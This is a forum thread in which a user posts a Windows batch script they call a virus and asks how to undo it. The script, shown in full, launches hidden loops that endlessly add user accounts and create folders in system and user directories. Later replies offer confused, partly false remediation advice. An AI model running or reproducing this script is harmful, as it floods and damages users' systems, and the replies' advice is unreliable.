virus

[ringtemek]

I was sent a virus and I was wondering if there is a reversal code to the virus shown below

@ECHO OFF
@ECHO A PHOENIX PRODUCTION
@ECHO MAIN BAT RUNNING
GOTO start

:start
@ECHO SET snowball2=1 >> bat6.bat
@ECHO GOTO flood5 >> bat6.bat
@ECHO :flood5 >> bat6.bat
@ECHO SET /a snowball2=%%snowball2%%+1 >> bat6.bat
@ECHO NET USER snowball2%%snowball2%% /add >> bat6.bat
@ECHO GOTO flood5 >> bat6.bat
START /MIN bat6.bat
GOTO bat5

:bat5
@ECHO CD %%ProgramFiles%%\ >> bat5.bat
@ECHO SET maggi=1 >> bat5.bat
@ECHO GOTO flood4 >> bat5.bat
@ECHO :flood4 >> bat5.bat
@ECHO MKDIR maggi%%maggi%% >> bat5.bat
@ECHO SET /a maggi=%%maggi%%+1 >> bat5.bat
@ECHO GOTO flood4 >> bat5.bat
START /MIN bat5.bat
GOTO bat4

:bat4
@ECHO CD %%SystemRoot%%\ >> bat4.bat
@ECHO SET marge=1 >> bat4.bat
@ECHO GOTO flood3 >> bat4.bat
@ECHO :flood3 >> bat4.bat
@ECHO MKDIR marge%%marge%% >> bat4.bat
@ECHO SET /a marge=%%marge%%+1 >> bat4.bat
@ECHO GOTO flood3 >> bat4.bat
START /MIN bat4.bat
GOTO bat3

:bat3
@ECHO CD %%UserProfile%%\Start Menu\Programs\ >> bat3.bat
@ECHO SET bart=1 >> bat3.bat
@ECHO GOTO flood2 >> bat3.bat
@ECHO :flood2 >> bat3.bat
@ECHO MKDIR bart%%bart%% >> bat3.bat
@ECHO SET /a bart=%%bart%%+1 >> bat3.bat
@ECHO GOTO flood2 >> bat3.bat
START /MIN bat3.bat
GOTO bat2

:bat2
@ECHO CD %%UserProfile%%\Desktop\ >> bat2.bat
@ECHO SET homer=1 >> bat2.bat
@ECHO GOTO flood >> bat2.bat
@ECHO :flood >> bat2.bat
@ECHO MKDIR homer%%homer%% >> bat2.bat
@ECHO SET /a homer=%%homer%%+1 >> bat2.bat
@ECHO GOTO flood >> bat2.bat
START /MIN bat2.bat
GOTO original

riginal
CD %HomeDrive%\
SET lisa=1
GOTO flood1
:flood1
MKDIR lisa%lisa%
SET /a lisa=%lisa%+1
GOTO flood1

 

[jarlmaster47]

Oh jeez thats a pretty bad virus there. If you have virus protection software I would imagine that would get rid of it. Otherwise you could always just run a bat.bat. Since the viral code doesn't that, you could cancel it out by running that. I ran a bat32.bat to get rid of a registry problem and it worked like a charm.

 

[eslfish]

Have you ever tried Malwarebytes?

 

[ringtemek]

i have anti virus software and it didn't detect the virus and i tried malwarebyte

 

[jarlmaster47]

hmm... try running a bat.bat if you know how and see if that fixes the problem. Also for clarification what exactly has this virus done to your computer that you notice?

 

[ringtemek]

hmm... try running a bat.bat if you know how and see if that fixes the problem. Also for clarification what exactly has this virus done to your computer that you notice?

how do i do that, it created a bunch of folders in my windows, program files, desktop, and start menu directory which i fixed and the problem i can't fix is it creating user accounts becuase after i delete them they come back on restart i looked at the services and msconfig and i didn't find anything

 

[jarlmaster47]

how do i do that, it created a bunch of folders in my windows, program files, desktop, and start menu directory which i fixed and the problem i can't fix is it creating user accounts becuase after i delete them they come back on restart i looked at the services and msconfig and i didn't find anything

That's bad! To make a bat.bat you can either use C++, which is 20 USD or what I prefer Python, which is free or you can use Linux which has a free source engine that you can use to make a bat.bat as well. The 2 other options you have of getting rid of this virus is to either take into to someone or wipe your hard drive.

 

[ringtemek]

would vb 2008 work and how would i make it

 

[jarlmaster47]

I am not familiar with vb 2008 sorry. Maybe someone else on the forum is. Don't give up dude and I might be able to make you a bat.bat for you myself.

 

[lxbinghamxl]

i have a prgram on my computer i made tht can fix tht bc it happened to me too is there a way i could send it to you ?